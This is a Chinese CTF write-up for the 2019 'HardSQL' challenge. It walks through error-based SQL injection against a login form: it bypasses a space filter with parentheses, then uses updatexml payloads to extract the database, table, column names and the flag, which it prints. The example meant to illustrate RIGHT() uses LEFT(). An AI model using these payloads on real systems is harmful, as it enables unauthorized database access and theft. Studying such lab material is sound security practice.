[极客大挑战 2019]HardSQL,wp
一:分析
既然说了是HardSQL,肯定就不是万能密码这种简单的了
1.首先判断字符型还是数字型
我们首先输入payload:username=admin' --+&password=1
发现好像有什么被过滤掉了。
然后检查过滤符号,这里可以直接用bp爆破看看过滤了哪些字符,也可以简单测试一下
这里我猜测过滤了空格,
然后payload:username=admin'--+&password=1
这里报错位置显示 '1'' ,说明是字符型
收获:字符型,空格被过滤
二:绕过过滤
1.尝试一下/**/ (发现/**/也被过滤掉了)
2.现在尝试用() 括号来尝试进行绕过
原理:括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,
而括号的两端,可以没有多余的空格
三:观察后猜测是报注入
1.尝试用 updatexml 注入:
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1
报错注入有两个函数,这里我们使用updatexml(a,b,c),此函数a,c必须为String类型,因此可以使a,c不为String型进行报错
在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。
2.但是发现需要username 和 password 都需要参数
而且发现 ' 分号和 # 没有被 url编码,这里进行编码一下
所以
payload: username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
收获:获得了一个geek库
四:找表
pyload:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
收获:拿到了 H4rDsq1 这个表
五:拿字段
payload:
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1
六:这个时候查询字段里面的内容
结果: 只拿到了flag的前半部分
这里还有一个函数 RIGHT() 这个
函数从指定字符串的 右侧提取给定数量的字符
参考:https://www.yiibai.com/sqlserver/sql-server-right-function.html
如:以下语句使用RIGHT()
返回字符串:"SQL Server"
的最右边6
个字符
SELECT LEFT('SQL Server',6) Result_string;
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1
最后拼接flag :flag{60390145-0ddd-420d-a7e6-cbb757e91687}